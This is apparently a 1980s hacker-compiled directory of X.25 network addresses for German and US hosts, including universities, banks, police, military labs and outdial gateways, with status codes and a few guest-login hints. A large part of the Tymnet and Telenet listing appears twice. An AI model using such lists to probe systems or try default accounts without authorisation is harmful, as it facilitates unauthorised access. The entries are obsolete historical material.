                                        Cryogenics Control ?)
A 0262 454 000 30215                    ? ("INVALID COMMAND SYNTAX")
D 0262 454 000 30259
D 0262 454 000 30261
A 0262 454 000 30296                    DFH2001I
A 0262 454 000 30502
I 0262 454 000 30519
A 0262 454 000 30566                    DFH2001I
O 0262 454 000 30578                    Primenet 20.0.4 DREHH
I 0262 454 000 40014                    Hahn Egon RZ !! Code: EBCDIC !!
I 0262 454 000 40015                    ???
Y 0262 454 000 40042                    ???
D 0262 454 000 40044                    Primenet MUF
I 0262 454 000 40053                    SCHERAX
Y 0262 454 000 40078                    ???
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A 0262 454 000 40082                ? (no reaction)
I 0262 454 000 40103                Airbus
I 0262 454 000 40109                ???
I 0262 454 000 40111                BADGER
D 0262 454 000 40198                Argus IPP-Vax
I 0262 454 000 43100                ADV-Orga-Meyer & Co.
A 0262 454 000 50233                Altos Hamburg (althh) (Gast)
I 0262 454 000 8001     DYVA        MARK J VAX at DESY
I 0262 454 000 90047                AEG-Telefunken
A 0262 454 000 90092                Data-General
A 0262 454 000 90184                Uni Hamburg (VAX) (=UKE?)
I 0262 454 000 90194                Verbraucherbank AG
O 0262 454 000 90241                ???
I 0262 454 000 90258                Desy ( Vax )
I 0262 454 000 90558                Philips VAX
D 0262 454 000 90560     EMBLHH     EMBL VAX at Hamburg (Eur.Molecular
                                    Biol.Lab.)
I 0262 454 000 905602               ???
A 0262 454 000 90582                Desy V.24 Switch
A 0262 454 000 91110                Deutsche Mailbox 1
A 0262 454 000 91120                Deutsche Mailbox 2
A 0262 454 000 92210                DESYNET
A 0262 454 000 9306     DYVA        MARK J VAX at DESY
D 0262 454 103 90161                Astra Chemicals GmbH
  0262 454 106 40206                RCA
A 0262 454 210 40064                COMTES
O 0262 454 210 40108                AEG-Telefunken
I 0262 454 210 40145                AEG-Telefunken
Y 0262 454 210 40244                AEG-Telefunken
O 0262 454 210 42001                Bremen
I 0262 454 210 90302                Computerland VAX
O 0262 454 298 43070                Infex 2
I 0262 454 310 40545                Kiel IMF
A 0262 454 410 30033                Uni Oldenburg
I 0262 454 421 40045                ADV-Orga-Meyer & Co.
I 0262 454 488 40147                Essmann Getraenke GmbH
I 0262 455 110 40081                Airbus
I 0262 455 110 40171                Alli-Frischdienst
A 0262 455 110 42330                Uni Hannover (VM/370)
A 0262 455 110 43020                Nachrichtentechnik (VAX)
I 0262 455 110 701                  Uni Hannover
A 0262 455 110 90192                ???
A 0262 455 110 90835                CosmoNet (GAST)
A 0262 455 110 92200                RZ
D 0262 455 151 40212                AEG-Telefunken
I 0262 455 152 90154                Oldenburger Volksbank
I 0262 455 210 40562                Uni Bielefeld (CGK/TR440)
I 0262 455 251 90192                Paderborn
D 0262 455 251 90193                Paderborn
A 0262 455 251 93020                Uni Paderborn (4.3 BSD UNIX)
D 0262 455 362 90057                IUM
I 0262 455 410 40086                Alli-Frischdienst
I 0262 455 410 40162                RZ
I 0262 455 410 40560                Bibliothek
I 0262 455 421 043050               ORION
A 0262 455 510 32804                Uni Goettingen (choose VAX or IBM)
I 0262 455 521 90172                Spar & Darlehenskassen
I 0262 455 818 104                  Anders Frido GmbH
I 0262 455 910 40094                Essmann Getraenke GmbH
I 0262 455 931 40095                Ruhr AG
I 0262 456 061 40097                Polydress Plastic GmbH
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I 0262 456 102 4301                 DEC Frankfurt
I 0262 456 102 90145                Nadler-Werke GmbH
I 0262 456 103 40332                Amann KG
I 0262 456 104 0250                 Tymnet
A 0262 456 106 40254                Alfa Service Partner (Primenet)
I 0262 456 106 90119                Alfa Service Partner
I 0262 456 110 40009                IBM  Centre for Info and Doc, Germany
I 0262 456 110 40037                Control Data (Test.-Serv.C4,ZZA201,CDC)
I 0262 456 110 40076                Autonet
I 0262 456 110 40105                Nixdorf Computer
I 0262 456 110 40106                Nixdorf Computer
I 0262 456 110 40107                CN01
I 0262 456 110 40187                WAX Bank FRA
I 0262 456 110 40240                City-Bank FFM (Uni Bochum ??)
I 0262 456 110 40245                ??
I 0262 456 110 40250                Tymnet (Id=Information)
I 0262 456 110 40303                American Express
I 0262 456 110 40305                American Express
I 0262 456 110 40311                AMC
I 0262 456 110 40365                AMP
I 0262 456 110 90211                Nixdorf Computer
I 0262 456 110 90212                Nixdorf Computer
I 0262 456 110 90322                American Express
I 0262 456 110 90347                American Express
I 0262 456 121 40207                ADV-Orga-Meyer & Co.
I 0262 456 121 40217                BKA
I 0262 456 121 40225                BKA
I 0262 456 121 90580                BKA
I 0262 456 131 40138                Uni Mainz RZ
I 0262 456 131 40545                RZ
Y 0262 456 131 90031                Allg.Kreditversicherung
Y 0262 456 151 40282                ???
A 0262 456 151 40516                Uni Darmstadt (Siemens 7.xxx)
A 0262 456 151 40547                GSI Darmstadt (EMMA-VAX 8600)
A 0262 456 151 42807                GMD Darmstadt (CADMUS 9240)
I 0262 456 172 90070                A-Kredit
I 0262 456 193 40082                Apotheken Marketing
D 0262 456 196 40095                Data General Schwalbach
A 0262 456 196 40107                Int.Doc.Chem.
A 0262 456 210 40000                Telebox der DBP (ID INF100,Telebox)
A 0262 456 210 40014                ACF/VTAM
A 0262 456 210 40025                Oeva
A 0262 456 210 40026                HOST
D 0262 456 210 40027                BASF/FER.VAX 8600
I 0262 456 210 40097                Nadler-Werke GmbH
I 0262 456 210 40217                Primenet
I 0262 456 210 40324                Abacus
D 0262 456 210 40508                VCON0.BASF.A6
A 0262 456 210 40516                CN01
A 0262 456 210 40532
A 0262 456 210 40580                DYNAPAC MULTI-PAD.25
A 0262 456 210 40581                DYNAPAC MULTI-PAD.25
A 0262 456 210 40582
A 0262 456 210 90000                Telebox der DBP
I 0262 456 221 3002      EMBL       European Microbiology Lab (or European
                                    Molecular Biological Lab.) (=ALKOR?)
D 0262 456 221 40201                DKFZ (Heidelberg)
I 0262 456 221 40244                Franny (=Max Planck VAX=MPI?)
I 0262 456 310 40252
I 0262 456 310 421
D 0262 456 310 424
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I 0262 456 310 4302
I 0262 456 340 40136           Nadler-Werke GmbH
A 0262 456 410 30021           HRZ-Giessen
I 0262 456 410 40142           Aachener + Muenchener Versicherung
A 0262 456 410 90040           HRZ Giessen (CDCNET-X.25)
I 0262 456 410 90828           Ernaehrungswissenschaften
I 0262 456 441 90335           Leerwe GmbH
I 0262 456 615 142804          GMD, Darmstadt
A 0262 456 673 13330           Geonet 1 (ex IMCA)
A 0262 456 673 13340           Geonet 3
I 0262 456 673 30070           IMCA-Mailbox, Solmser Str. 16, D-6419
                               Haunetal-Staerklos
I 0262 456 721 40305           Alfa Metalcraft Corp.
I 0262 456 810 40010           Teleprint Saarbrueckener Zeitung
I 0262 456 810 40071           Nadler-Werke GmbH
I 0262 456 810 40076   SAARBRU Univ of Saarbruecken (Saarland RZ)
A 0262 456 900 10174           Beilstein Gmelin RZ (COMDOS ?)
O 0262 456 900 10552           FIZ-Technik
O 0262 456 900 30040           Nixdorf Computer
A 0262 456 900 40076           Autonet
D 0262 456 900 40106           Nixdorf
I 0262 456 900 40505           AEG-Telefunken
  0262 456 900 40506           AEG-Telefunken
A 0262 456 900 90125
I 0262 456 900 90506           Nixdorf
I 0262 456 900 9308            SYNTAX
I 0262 457 010 40025           ?
A 0262 457 071 40266           Zentrum fuer Datenverarbeitung
  0262 457 071 40529           Zentrale Verw.
  0262 457 071 90182           ADW-Wirtschaftsberatung
D 0262 457 071 90249           Bibliothek
D 0262 457 110 10023           Hohenheim Bibliothek
D 0262 457 110 211             Rechenzentrum
Dr0262 457 110 40028
Dr0262 457 110 40035           Primenet !! No CTRL-P clr !!
B 0262 457 110 40124           Stahl EDV-Service
  0262 457 110 40129           Allg.Rentenanstalt
  0262 457 110 40147           MAHU Verlag
D 0262 457 110 90059           Bibliothek
  0262 457 110 90103           Data General
  0262 457 110 90246           Hohenheim DokumentationsSt.
D 0262 457 110 90316           RMI-Net
  0262 457 110 90557           Stahl EDV-Service
A 0262 457 110 90593           Unix, Informatik (ifistg)
  0262 457 141 90098           Aigner Buchhandlung
X 0262 457 210 40002           V750
Br0262 457 210 40025           Badenia
  0262 457 210 40031           IITB-Datenverarbeitung
D 0262 457 210 40135           Fraunhofer Institut
C 0262 457 210 40189           Uni Karlsruhe, RZ (until 10-APR-88)
X 0262 457 210 40248           Uni Karlsruhe, LINK (=NETONE?)
A 0262 457 210 42100           Uni Karlsruhe, IRAV2 (VAX 8200)
A 0262 457 210 42140           Uni Karlsruhe, RZ (since 11-APR-88)
D 0262 457 210 4303            Telematik
A 0262 457 247 40001           INKA  FIZ-Chemie 2 (German Centre for
                               Tech.?)
A 0262 457 247 40141           INKA  FIZ-Chemie 1
A 0262 457 247 40211   CASGER  STN Internat. Karlsruhe
D 0262 457 310 90269           RZ Bereich OE
  0262 457 310 921             RZ
  0262 457 351 40032           AFD-Arbeitsgruppe F.DV
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A 0262 457 531 90008              Informationswissenschaften
D 0262 457 531 90094              RZ
  0262 457 552 90320              Alno-Moebel
D 0262 457 610 300                Uni Freiburg, 9600bps
D 0262 457 610 370                Uni Freiburg, Sperry Univac
D 0262 457 610 40079              Albert Ludwig, Uni-Bibliothek
  0262 457 610 40166              AEG-Telefunken
  0262 457 610 40306              Alpha-Buch GmbH
B 0262 457 610 420                Uni Freiburg, 4800bps
B 0262 457 610 480                Uni Freiburg, Sperry Univac
X 0262 457 610 520                Uni Freiburg, Uni Bibliothek
  0262 457 641 40265              Anders Ernst
  0262 457 721 40071              Kienzle Computer
  0262 457 721 40072              Kienzle Computer
  0262 457 721 40171              Kienzle Computer
  0262 457 721 90004              Kienzle Computer
  0262 457 721 90226              Kienzle Computer
  0262 457 810 40222              Dietrich Georg GmbH
B 0262 458 151 40114              Kejo GmbH (Josef Keller)
D 0262 458 210 40114              Bibliothek
  0262 458 210 40120              NCR
  0262 458 510 30236              Passau RZ
D 0262 458 710 40171              Transfer Data Test GmbH
  0310 600 021 0                  Procter and Gamble
  0310 600 022 6                  Anistics
  0310 600 022 6                  Interactive Market Systems (Anistics)
  0310 600 023 2                  Scientific Timesharing
  0310 600 024 2                  Timesharing Resources
  0310 600 025 2                  Computer Science Corporation
  0310 600 025 5                  Timesharing Associates
  0310 600 027 6                  Management Decision Systems Inc
  0310 600 028 8                  SRI
  0310 600 028 8                  SRI San Francisco (UNIX)
  0310 600 028 8                  Stanford Research Institute (SRI)
  0310 600 030 3                  Scientific Timesharing
  0310 600 030 7                  Infomedia Corporation
  0310 600 032 3                  TRW Defence & Space Systems Group
  0310 600 040 1                  TMCS Public Network
  0310 600 043 2                  Interactive Market Systems
  0310 600 046 6                  Bibliographic Retrieval Services
B 0310 600 058 1                  BRS
  0310 600 063 3                  Public TYMNET/TRWNET Interlink
  0310 600 079 3                  J&J Host
B 0310 600 105 3
  0310 600 133 0                  MULTICS, HVN 862-3642
  0310 600 140 0                  TMCS Public Network
B 0310 600 150 9                  Orbit (SDC)
B 0310 600 157 878                BIX
D 0310 600 165 9                  BYTE Information Exchange (GUEST,GUEST)
A 0310 600 166 3                  People Link
  0310 600 181 9                  TMCS Public Network
  0310 600 182 8          FRX     Faifax Outdial Host (Tymnet)
  0310 600 186 4                  SUNGARDS Central Computer Facility Networks
  0310 600 189 2                  Primenet (certain hours)
B 0310 600 195 2                  VAX
B 0310 600 197 6                  Outdial NY
A 0310 600 197 7
  0310 600 209 5                  COMODEX Online System
  0310 600 209 8                  D & B
  0310 600 209 9                  D & B
  0310 600 210 0                  D & B
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  0310 600 210 9                       TYMNET/15B (inter-link)
B 0310 600 220 7,OUT                   Outdial
  0310 600 228 6                       Primenet TFGI
  0310 600 229 9                       CONSILIUM
  0310 600 232 901*D     MFE           Magnetic Fusion Energy Centre, Lawrence
                                       Livermore
B 0310 600 236 1                       Denver Oil&Gas
  0310 600 241                         Bank Of America
  0310 600 245 3                       Primenet
B 0310 600 254 5         SEISMO        Centre for Seismic Studies
B 0310 600 255                         Outdial NY
A 0310 600 262 3                       VAX/VMS (GUEST ???)
B 0310 600 262 3003                    VTINET
B 0310 600 262 460                     SUMEX
B 0310 600 263 5                       QUOTRON Wall Street (Boerse n.y.)
B 0310 600 266 400       SLAC          SLAC on Tymnet
B 0310 600 267 7                       The New York Times
  0310 600 269 4                       PVM3101,SPDS/MTAM, MLCM,VM/SP,STRATUS-1,
                                       STRATUS-2
  0310 600 279 0                       VM/370
  0310 600 286 4                       RCA Semicustom
B 0310 600 302 70000                   VTI NETONE
  0310 600 307 9                       VM/370
  0310 600 309 2                       TYMNET/Protected Access Service Sys.
                                       Inter-link
  0310 600 316 8                       VM/370
  0310 600 321 4                       VM/370
  0310 600 322 0                       VM/370
  0310 600 322 1                       VM/370
  0310 600 357 2                       NORTH AMERICA DATA CENTRE
  0310 600 360 4                       VM/370
  0310 600 404 1                       RCA GLOBCOM'S PACKET SWITCHING SERICE
A 0310 600 412 9                       ?
A 0310 600 413 1                       ?
  0310 600 413 7                       TSO, VM/370
  0310 600 416 300                     Oakridge, Tennessee
  0310 600 417 4                       VM/370
  0310 600 420 6                       MAINSTREAMS
  0310 600 423 500                     Oakridge, Tennessee
B 0310 600 430 5                       BIOVAX
  0310 600 434 1                       (Host) 2 - VM/370, T - VM/370,1,3,4,A,C,E,Z
A 0310 600 436 5                       Toxnet (NLM=National Lib. of Medicine's)
B 0310 600 455 5                       VAX
  0310 600 459 97
  0310 600 474 3                       TYMNET Info Service
X 0310 600 502 0                       Outdial Fairfax
  0310 600 522 9                       Uni.of Pencilvania School of Arts and
                                       Science
  0310 600 526 7                       CHANEL 01
X 0310 600 531 7                       Outdial St.Louis
B 0310 600 532 0                       DEC Soft. Serv.
  0310 600 556 9                       STRATUS/32
  0310 600 557 1                       STRATUS/32
  0310 600 560 3                       (Host) systems 1,2,3,4,5,C (5=Outdial)
B 0310 600 562 200       FNAL          Fermilab
B 0310 600 562 226                     Fermilab 2
B 0310 600 578 78                      BIX
B 0310 600 584 401                     Washington Post
B 0310 600 61            DIALOG1       Lockheed Info Systems
  0310 600 61*DSDDIPSSL   ORBIT2        SDC Search Service
  0310 600 628 1                       EDCS
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  0310 600 628 3                          EDCS
  0310 600 643 2                          EASYLINK
  0310 600 643 4                          EASYLINK
  0310 600 672 2                          International Network
  0310 600 68                             Stanford SUMEX-AIM. Tenex op syst.
  0310 600 683 2                          A&A DATANET (Systems 1,8,0,14)
X 0310 600 701 7                          Outdial NY
  0310 600 759 6                          (Host)  A - VM/370, B - VM/370
? 0310 600 787                            Dallas
  0310 601 79                             Berkley Univ.
  0310 602 88                             Stanford Research Institute
B 0310 611 467                            Cas Online Sys.
  0310 614 67                             Ohio CAS (Chemical Abstracts Service)
  0310 617 001 38                         Multics
  0310 647 911 065                        BIX Lexington Data Service
  0310 690 006 1*D       DIALOG4          Lockheed DIALOG service
B 0310 690 080 3*D       DIALOG3          Lockheed DIALOG service
  0310 690 762 6                          Emery ADO
  0311 0                 TELENET          USA - Telenet
B 0311 002 130 0039                       ECLD
  0311 020 100 02000                      Insco Systems
  0311 020 100 022                        New Jersey Outdial 2400 bps (Area 201)
  0311 020 100 02300                      American Information Services
  0311 020 100 02400                      The Information Bank
  0311 020 100 02500                      New Jersey Institute of Technology
  0311 020 100 02800                      Olcott International Company
  0311 020 100 03700                      Informatics Inc
  0311 020 100 169       MOUTON
  0311 020 100 301                        New Jersey Outdial 1200 bps (Area 201)
  0311 020 101 59200                      Scientific Process & Research Inc
  0311 020 200 02100                      Scientific Timesharing
  0311 020 200 02200                      Scientific Timesharing
X 0311 020 200 066                        Air Force
T 0311 020 200 099       ICIB             Information Council Incorporated B system
  0311 020 200 1         TELEMAIL         US Telemail facility
X 0311 020 200 10900     CIS              Chemical Information Systems
A 0311 020 200 115                        Outdial 300 bps (Area 202)
A 0311 020 200 116                        Outdial 1200 bps (Area 202)
  0311 020 200 117                        Distr. of Columbia Outdial 2400 bps (Area
                                          202)
B 0311 020 200 141       TELEMAIL         US Telemail facility (GT-Net)
  0311 020 200 14175     TELEENQ          Telenet Enquiry Service
  0311 020 200 14175     TELEMAIL1        US Telemail facility
  0311 020 200 14275     TELENET          US Telenet
  0311 020 201 19500                      Gallaude College Computer Centre
  0311 020 300 06400                      NCSS Bureau
  0311 020 300 130                        Connecticut Outdial 1200 bps (Area 203)
  0311 020 301 78900                      Yale University Computer Centre
  0311 020 400 02900     WATERLO          University of Waterloo
  0311 020 600 019                        Washington Outdial 1200 bps (Area 206)
  0311 021 200 02000                      Bowne Timesharing
  0311 021 200 02500                      Interactive Market Systems (Anistics)
  0311 021 200 02800                      Burroughs Corp (NYC data centre)
  0311 021 200 141       JPLM1            Jet Propulsion Laboratory mail 1, USA
  0311 021 200 142       JPLM2            Jet Propulsion Laboratory mail 2, USA
  0311 021 200 14200                      GT-Net Telemail
A 0311 021 200 315                        Outdial 300 bps (Area 212)
A 0311 021 200 316                        Outdial 1200 bps (Area 212)
D 0311 021 200 412                        Outdial 2400 bps (Area 212)
D 0311 021 200 41200                      New York City Outdial (Area 212)
  0311 021 201 39200                      Memorial Dose Distribution Computation
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                                      Service
   0311 021 201 40600             MAV Systems (300 bps)
   0311 021 201 57800             IP Sharp Associates
   0311 021 201 58000             SDL International (1200 bps)
   0311 021 201 58500             SDL International (300 bps)
   0311 021 201 58800             DSL Systems Inc
   0311 021 201 59500             SDL International (1200 bps)
   0311 021 201 62000             Telestat System Inc
   0311 021 201 62700             Telestat Systems Inc
   0311 021 300 02200             Interactive Systems Corporation
   0311 021 300 02700             Mellonics Information Centre
   0311 021 300 029               TRW Defence & Space Systems Group
B  0311 021 300 03300    ORBIT    Orbit
   0311 021 300 03300*D  ORBIT    SDC Search Service (300 bps)
   0311 021 300 04400             SDC Search Service (1200 bps)
B  0311 021 300 039      USCAL2   Univ. of Southern California
   0311 021 300 04114    IHW      IHW
   0311 021 300 04700             University of Southern California
B  0311 021 300 048      USCAL1   University of Southern California
B  0311 021 300 170               LRS Dialog 2
T  0311 021 300 17000     DIALOG5  Lockheed Info Systems
   0311 021 300 17000*D  DIALOG2  Lockheed DIALOG service
B  0311 021 300 219      CALTECH  Caltech VAX 11/780
   0311 021 300 21908    CALTECH  Caltech VAX 11/780
   0311 021 300 21909    CALTECH2 Caltech VAX 11/780
   0311 021 300 412               California Outdial 1200 bps (Area 213)
A  0311 021 300 413               Outdial CA
   0311 021 300 668               Adainfo
   0311 021 301 353      UCLA     UCLA, USA
   0311 021 301 40300             Marshall & Swift Publication
   0311 021 400 117               Outdial 300 bps (Area 214)
A  0311 021 400 118               Texas Outdial 1200 bps (Area 214)
   0311 021 500 022               Pennsylvania Outdial 2400 bps (Area 215)
   0311 021 500 112               Pennsylvania Outdial 1200 bps (Area 215)
A  0311 021 600 020               Outdial 300 bps (Area 216)
A  0311 021 600 021               Ohio Outdial 1200 bps (Area 216)
   0311 021 700 021               University of Illinois - Urbana
   0311 030 100 02000     NLM      National Library of Medicine
A  0311 030 100 02400             The Source
B  0311 030 100 038               The Source (ID BSC131 SR3811)
B  0311 030 100 243               ITT Dialcom
   0311 030 100 364               Primesoft
A  0311 030 100 38                The Source
B  0311 030 100 633               Toxnet (NLM)
   0311 030 101 26500             Informatics Inc
   0311 030 300 02000             Computer Sharing Services
   0311 030 300 021               Colorado Outdial 2400 bps (Area 303)
   0311 030 300 02300             Broker Services Inc
   0311 030 300 115               Colorado Outdial 1200 bps (Area 303)
   0311 030 301 13100             EDI Computer Services
   0311 030 301 13200             EDI Computer Services
   0311 030 301 13300             Energy Enterprises
   0311 030 500 121               Florida Outdial 1200 bps (Area 305)
   0311 030 501 16300             Florida Computer Inc
D  0311 030 508 793               Miami Outdial (Area 305) ?
   0311 031 200 02200             National Computer Network of Chicago
   0311 031 200 024               Illinois Outdial 2400 bps (Area 217 ?)
   0311 031 200 03100             Continental Bank
   0311 031 200 03200             Continental Bank
   0311 031 200 04900             American Hospital Supply Corporation
   0311 031 200 411               Illinois Outdial 1200 bps (Area 217 ?)
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  0311 031 201 07300                    Commodity Information Services
  0311 031 268 801         ADPUSA       ADP Network Services Ltd.
  0311 031 300 024                      Michigan Outdial 2400 bps (Area 313)
  0311 031 300 04000                    ADP Network Services
  0311 031 300 06200                    Merit International (MIT)
  0311 031 300 216                      Michigan Outdial 1200 bps (Area 313)
  0311 031 301 39800                    Merit Computer
  0311 031 400 07200                    Environmental DataNetwork Inc.
  0311 031 401 06500                    McDonnel Douglas Automation (300 bps)
  0311 031 401 06600                    McDonnel Douglas Automation (110 bps)
  0311 031 401 06700                    McDonnel Douglas Automation (1200 bps)
  0311 031 401 61000                    McDonnel Douglas Automation (300 bps)
  0311 031 500 02000                    Bibliographic Retrieval Services
A 0311 040 100 612                      Modemcity
A 0311 040 400 114                      Georgia Outdial 1200 bps (Area 404)
A 0311 040 800 021                      California Outdial 1200 bps? (Area 408)
  0311 040 800 245                      Bridge
B 0311 040 800 246                      SCF
  0311 041 201 4600                     On-Line Systems Inc
  0311 041 400 02000                    A.O. Smith Data Systems Divisions
  0311 041 400 021                      Wisconsin Outdial 1200 bps (Area 414)
B 0311 041 500 020                      LRS-Dialog 2
A 0311 041 500 02000     DIALOG         Lockheed Information Systems
  0311 041 500 02000*D    DIALOG         Lockheed DIALOG service
B 0311 041 500 048                      LRS Dialog 2
  0311 041 500 04800      DIALOG2        Lockheed Information Systems 2
  0311 041 500 04800*D    DIALOG1        Lockheed DIALOG service
  0311 041 500 117                      California Outdial 1200 bps (Area 415)
I 0311 041 500 210                      Outdial USA
A 0311 041 500 215                      Outdial (Area 415)
A 0311 041 500 217                      Outdial (Area 415)
A 0311 041 500 220                      Outdial 1200 bps (Area 415)
  0311 041 500 48000                    Lockheed Information Systems (?)
B 0311 041 500 607                      BIONET
B 0311 041 500 609                      INTELLIGENETICS
  0311 041 501 23600                    Hydrocomp Inc (300 bps)
  0311 041 501 23700                    Hydrocomp Inc (1200 bps)
  0311 041 501 26800                    ITEL Corp (300 bps)
  0311 041 501 26900                    ITEL Corp (1200 bps)
  0311 041 501 59700                    Stanford Library Centre for Inform
                                        Processing
  0311 041 501 59700                    Standard Centre for Information Processing
O 0311 050 006 1                        Nuclear Research
A 0311 050 300 020                      Outdial 300 bps (Area 503)
A 0311 050 300 021                      Oregon Outdial 1200 bps (Area 503)
B 0311 050 500 060                      ICN (=LASL)
  0310 600 021 0                        Procter and Gamble
  0310 600 022 6                        Anistics
  0310 600 022 6                        Interactive Market Systems (Anistics)
  0310 600 023 2                        Scientific Timesharing
  0310 600 024 2                        Timesharing Resources
  0310 600 025 2                        Computer Science Corporation
  0310 600 025 5                        Timesharing Associates
  0310 600 027 6                        Management Decision Systems Inc
  0310 600 028 8                        SRI
  0310 600 028 8                        SRI San Francisco (UNIX)
  0310 600 028 8                        Stanford Research Institute (SRI)
  0310 600 030 3                        Scientific Timesharing
  0310 600 030 7                        Infomedia Corporation
  0310 600 032 3                        TRW Defence & Space Systems Group
  0310 600 040 1                        TMCS Public Network
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   0310 600 043 2                      Interactive Market Systems
   0310 600 046 6                      Bibliographic Retrieval Services
B  0310 600 058 1                      BRS
   0310 600 063 3                      Public TYMNET/TRWNET Interlink
   0310 600 079 3                      J&J Host
B  0310 600 105 3
   0310 600 133 0                      MULTICS, HVN 862-3642
   0310 600 140 0                      TMCS Public Network
B  0310 600 150 9                      Orbit (SDC)
B  0310 600 157 878                    BIX
D  0310 600 165 9                      BYTE Information Exchange (GUEST,GUEST)
A  0310 600 166 3                      People Link
   0310 600 181 9                      TMCS Public Network
   0310 600 182 8           FRX        Faifax Outdial Host (Tymnet)
   0310 600 186 4                      SUNGARDS Central Computer Facility Networks
   0310 600 189 2                      Primenet (certain hours)
B  0310 600 195 2                      VAX
B  0310 600 197 6                      Outdial NY
A  0310 600 197 7
   0310 600 209 5                      COMODEX Online System
   0310 600 209 8                      D & B
   0310 600 209 9                      D & B
   0310 600 210 0                      D & B
   0310 600 210 9                      TYMNET/15B (inter-link)
B  0310 600 220 7,OUT                  Outdial
   0310 600 228 6                      Primenet TFGI
   0310 600 229 9                      CONSILIUM
   0310 600 232 901*D      MFE        Magnetic Fusion Energy Centre, Lawrence
                                       Livermore
B  0310 600 236 1                      Denver Oil&Gas
   0310 600 241                        Bank Of America
   0310 600 245 3                      Primenet
B  0310 600 254 5           SEISMO     Centre for Seismic Studies
B  0310 600 255                        Outdial NY
A  0310 600 262 3                      VAX/VMS (GUEST ???)
B  0310 600 262 3003                   VTINET
B  0310 600 262 460                    SUMEX
B  0310 600 263 5                      QUOTRON Wall Street (Boerse n.y.)
B  0310 600 266 400        SLAC       SLAC on Tymnet
B  0310 600 267 7                      The New York Times
   0310 600 269 4                      PVM3101,SPDS/MTAM, MLCM,VM/SP,STRATUS-1,
                                       STRATUS-2
   0310 600 279 0                      VM/370
   0310 600 286 4                      RCA Semicustom
B  0310 600 302 70000                  VTI NETONE
   0310 600 307 9                      VM/370
   0310 600 309 2                      TYMNET/Protected Access Service Sys.
                                       Inter-link
   0310 600 316 8                      VM/370
   0310 600 321 4                      VM/370
   0310 600 322 0                      VM/370
   0310 600 322 1                      VM/370
   0310 600 357 2                      NORTH AMERICA DATA CENTRE
   0310 600 360 4                      VM/370
   0310 600 404 1                      RCA GLOBCOM'S PACKET SWITCHING SERICE
A  0310 600 412 9                      ?
A  0310 600 413 1                      ?
   0310 600 413 7                      TSO, VM/370
   0310 600 416 300                    Oakridge, Tennessee
   0310 600 417 4                      VM/370
   0310 600 420 6                      MAINSTREAMS
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  0310 600 423 500                     Oakridge, Tennessee
B 0310 600 430 5                       BIOVAX
  0310 600 434 1                       (Host) 2 - VM/370, T - VM/370,1,3,4,A,C,E,Z
A 0310 600 436 5                       Toxnet (NLM=National Lib. of Medicine's)
B 0310 600 455 5                       VAX
  0310 600 459 97
  0310 600 474 3                       TYMNET Info Service
X 0310 600 502 0                       Outdial Fairfax
  0310 600 522 9                       Uni.of Pencilvania School of Arts and
                                       Science
  0310 600 526 7                       CHANEL 01
X 0310 600 531 7                       Outdial St.Louis
B 0310 600 532 0                       DEC Soft. Serv.
  0310 600 556 9                       STRATUS/32
  0310 600 557 1                       STRATUS/32
  0310 600 560 3                       (Host) systems 1,2,3,4,5,C (5=Outdial)
B 0310 600 562 200       FNAL          Fermilab
B 0310 600 562 226                     Fermilab 2
B 0310 600 578 78                      BIX
B 0310 600 584 401                     Washington Post
B 0310 600 61           DIALOG1        Lockheed Info Systems
  0310 600 61*DSDDIPSSL ORBIT2         SDC Search Service
  0310 600 628 1                       EDCS
  0310 600 628 3                       EDCS
  0310 600 643 2                       EASYLINK
  0310 600 643 4                       EASYLINK
  0310 600 672 2                       International Network
  0310 600 68                          Stanford SUMEX-AIM. Tenex op syst.
  0310 600 683 2                       A&A DATANET (Systems 1,8,0,14)
X 0310 600 701 7                       Outdial NY
  0310 600 759 6                       (Host)  A - VM/370, B - VM/370
? 0310 600 787                         Dallas
  0310 601 79                          Berkley Univ.
  0310 602 88                          Stanford Research Institute
B 0310 611 467                         Cas Online Sys.
  0310 614 67                          Ohio CAS (Chemical Abstracts Service)
  0310 617 001 38                      Multics
  0310 647 911 065                     BIX Lexington Data Service
  0310 690 006 1*D      DIALOG4        Lockheed DIALOG service
B 0310 690 080 3*D      DIALOG3        Lockheed DIALOG service
  0310 690 762 6                       Emery ADO
  0311 0                TELENET        USA - Telenet
B 0311 002 130 0039                    ECLD
  0311 020 100 02000                   Insco Systems
  0311 020 100 022                     New Jersey Outdial 2400 bps (Area 201)
  0311 020 100 02300                   American Information Services
  0311 020 100 02400                   The Information Bank
  0311 020 100 02500                   New Jersey Institute of Technology
  0311 020 100 02800                   Olcott International Company
  0311 020 100 03700                   Informatics Inc
  0311 020 100 169      MOUTON
  0311 020 100 301                     New Jersey Outdial 1200 bps (Area 201)
  0311 020 101 59200                   Scientific Process & Research Inc
  0311 020 200 02100                   Scientific Timesharing
  0311 020 200 02200                   Scientific Timesharing
X 0311 020 200 066                     Air Force
T 0311 020 200 099      ICIB           Information Council Incorporated B system
  0311 020 200 1        TELEMAIL       US Telemail facility
X 0311 020 200 10900    CIS            Chemical Information Systems
A 0311 020 200 115                     Outdial 300 bps (Area 202)
A 0311 020 200 116                     Outdial 1200 bps (Area 202)
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  0311 020 200 117                     Distr. of Columbia Outdial 2400 bps (Area
                                       202)
B 0311 020 200 141       TELEMAIL      US Telemail facility (GT-Net)
  0311 020 200 14175      TELEENQ       Telenet Enquiry Service
  0311 020 200 14175      TELEMAIL1     US Telemail facility
  0311 020 200 14275      TELENET       US Telenet
  0311 020 201 19500                    Gallaude College Computer Centre
  0311 020 300 06400                    NCSS Bureau
  0311 020 300 130                      Connecticut Outdial 1200 bps (Area 203)
  0311 020 301 78900                    Yale University Computer Centre
  0311 020 400 02900      WATERLO       University of Waterloo
  0311 020 600 019                      Washington Outdial 1200 bps (Area 206)
  0311 021 200 02000                    Bowne Timesharing
  0311 021 200 02500                    Interactive Market Systems (Anistics)
  0311 021 200 02800                    Burroughs Corp (NYC data centre)
  0311 021 200 141        JPLM1         Jet Propulsion Laboratory mail 1, USA
  0311 021 200 142        JPLM2         Jet Propulsion Laboratory mail 2, USA
  0311 021 200 14200                    GT-Net Telemail
A 0311 021 200 315                      Outdial 300 bps (Area 212)
A 0311 021 200 316                      Outdial 1200 bps (Area 212)
D 0311 021 200 412                      Outdial 2400 bps (Area 212)
D 0311 021 200 41200                    New York City Outdial (Area 212)
  0311 021 201 39200                    Memorial Dose Distribution Computation
                                       Service
  0311 021 201 40600                    MAV Systems (300 bps)
  0311 021 201 57800                    IP Sharp Associates
  0311 021 201 58000                    SDL International (1200 bps)
  0311 021 201 58500                    SDL International (300 bps)
  0311 021 201 58800                    DSL Systems Inc
  0311 021 201 59500                    SDL International (1200 bps)
  0311 021 201 62000                    Telestat System Inc
  0311 021 201 62700                    Telestat Systems Inc
